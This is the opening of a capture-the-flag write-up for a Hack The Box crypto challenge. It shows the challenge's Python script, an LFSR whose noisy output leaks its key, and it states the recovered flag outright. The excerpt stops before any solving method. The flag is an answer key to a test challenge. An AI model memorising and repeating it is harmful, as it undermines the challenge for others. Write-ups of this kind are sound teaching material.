Sometimes, you can find patterns in seemingly random things… Category: crypto Solver: 3mb0, nh1729 Flag: HTB{n01sy_LF5R-1s_n0t_l0ud_3n0ugh} Writeup For this challenge, we were given a python script that processes the flag alongside its output. import random from hashlib import sha512 class LFSR: def __init__(self, state, taps): self.state = list(map(int, list("{:0128b}".format(state)))) self.taps = taps def clock(self): outbit = self.state[0] newbit = sum([self.state[t] for t in self.taps]) & 1 self.state = self.state[1:] + [newbit] return outbit key = random.getrandbits(128) G = LFSR(key, [0, 1, 2, 7, 3]) [G.clock() for _ in range(256)] stream = [G.clock() for _ in range(5000)] noise = [int(random.random() > 0.95) for _ in range(5000)] stream = [x ^ y for x, y in zip(stream, noise)] print(stream) flag = open("flag.txt", "rb").read() enc = bytes([x ^ y for x, y in zip(sha512(str(key).encode()).digest(), flag)]) print(enc.hex()) The script generates a key of 128 random bits and uses it as IV for a linear feedback shift register (LFSR) and encryptes the flag with the sha512 of the key. We get the encrypted flag and 5000 bits of output from the LFSR, which are generated after 256 clocks. However, about 5% of the 5000 bits are flipped at random before. ...

August 9, 2022 · 5 min · 3mb0, nh1729